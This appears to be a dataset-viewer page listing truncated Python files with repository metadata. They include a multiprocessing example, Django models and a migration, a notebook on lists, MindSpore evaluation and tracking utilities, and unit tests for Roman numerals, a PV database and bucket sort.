def square_list(mylist, result, square_sum):
""" function to square a given list """
# append squares of mylist to result array
for idx, num in enumerate(mylist):
result[idx] = num * num
# square_sum value
square_sum.value = sum(result)
# print result Array
print(f'Result (in process p1)... | 30.666667 | 84 | 0.718379 |
101e8f19fec5996b4135ab21dd8ee960a387292b | 829 | py | Python | FUNDASTORE/APPS/PRODUCTOS/models.py | GabrielB-07/FundaStore-cgb | b509a9743a651344b32dd7a40ab789f1db48e54b | [
"CC0-1.0"
] | null | null | null | FUNDASTORE/APPS/PRODUCTOS/models.py | GabrielB-07/FundaStore-cgb | b509a9743a651344b32dd7a40ab789f1db48e54b | [
"CC0-1.0"
] | null | null | null | FUNDASTORE/APPS/PRODUCTOS/models.py | GabrielB-07/FundaStore-cgb | b509a9743a651344b32dd7a40ab789f1db48e54b | [
"CC0-1.0"
] | null | null | null | from django.db import models
# Create your models here.
class Categoria(models.Model):
cat_id = models.AutoField(primary_key=True)
cat_nombre = models.CharField(max_length=128)
cat_itbms = models.DecimalField(max_digits=8,decimal_places=2)
def __str__(self):
return self.cat_nombre
class Produ... | 37.681818 | 94 | 0.75392 |
102b53d41bd2daccf298fd33e72a775ec553f087 | 10,181 | py | Python | Python X/Lists.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | Python X/Lists.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | Python X/Lists.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | {
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"# lists are used to store a list of things; similar to arrays in java \n",
"# note the use of square brackets and\n",
"\n",
"a = [3, 10, -1]"
]
},
{
"cell_type": "code",
"... | 18.544627 | 822 | 0.450054 |
106c3edaeb7b07b24af1102f36faeacbaa7d75cf | 3,904 | py | Python | research/cv/vit_base/eval.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 1 | 2021-11-18T08:17:44.000Z | 2021-11-18T08:17:44.000Z | research/cv/vit_base/eval.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | null | null | null | research/cv/vit_base/eval.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 43.377778 | 100 | 0.695697 |
eaaf912f0e46b43bb4864f1b95cd044d6066ff52 | 1,768 | py | Python | python/RomanNumbers/tests/roman_to_arabic_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 8 | 2016-10-18T09:30:12.000Z | 2021-12-08T13:28:28.000Z | python/RomanNumbers/tests/roman_to_arabic_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 29 | 2019-12-28T06:09:07.000Z | 2022-03-02T03:44:19.000Z | python/RomanNumbers/tests/roman_to_arabic_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 4 | 2018-07-23T22:20:58.000Z | 2020-09-19T09:46:41.000Z | import unittest
from assertpy import assert_that
from nose_parameterized import parameterized
from implementation.converter import RomanToArabic
from implementation.exceptions import IllegalArgumentError
from tests.method_conversion import as_function
class RomanToArabicTests(unittest.TestCase):
def setUp(self)... | 28.983607 | 92 | 0.646493 |
dc23758a8a753da129bb0fb049af3ef4d0b61970 | 3,352 | py | Python | tests/test_db.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | 1 | 2019-10-31T13:34:12.000Z | 2019-10-31T13:34:12.000Z | tests/test_db.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | 1 | 2019-05-27T13:03:25.000Z | 2019-05-27T13:03:25.000Z | tests/test_db.py | schmocker/pv-FHNW | 5066e0bc7ce76be5d1a930b50034c746b232a9f8 | [
"MIT"
] | null | null | null | import pytest
from pvtool.db import PvModule, Measurement, MeasurementValues, FlasherData, ManufacturerData, db
@pytest.mark.incremental
class TestDBModels(object):
def test_pv_module_insert(client, init_db):
"""
GIVEN a database
WHEN database is initialized
THEN check ... | 42.43038 | 138 | 0.50716 |
f4a639b713112f9b536c024ee64449eca00ae287 | 279 | py | Python | backend/apps/iamstudent/migrations/0004_merge_20200330_0152.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | 2 | 2020-03-28T13:56:39.000Z | 2020-03-29T10:16:12.000Z | backend/apps/iamstudent/migrations/0004_merge_20200330_0152.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | 76 | 2020-03-27T21:53:04.000Z | 2020-03-30T20:27:43.000Z | backend/apps/iamstudent/migrations/0004_merge_20200330_0152.py | n-hackert/match4healthcare | 761248c27b49e568c545c643a72eac9a040649d7 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-03-30 01:52
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('iamstudent', '0003_auto_20200330_0020'),
('iamstudent', '0003_auto_20200329_1859'),
]
operations = [
]
| 18.6 | 50 | 0.655914 |
8734132541ab5ce69ed240741277e35a508b597f | 723 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch09_search_and_sort/ex07_bucket_sort_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch09_search_and_sort/ex07_bucket_sort_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch09_search_and_sort/ex07_bucket_sort_test.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
import pytest
from ch09_search_and_sort.solutions.ex07_bucket_sort import bucket_sort
@pytest.mark.parametrize("values, max, expected",
[([10, 50, 22, 7, 42, 111, 50, 7], 150,
[... | 34.428571 | 71 | 0.492393 |
0deda45b4198481e5651eed91a682068abdec048 | 1,830 | py | Python | official/cv/ADNet/src/utils/do_action.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/ADNet/src/utils/do_action.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | official/cv/ADNet/src/utils/do_action.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 33.888889 | 78 | 0.598361 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.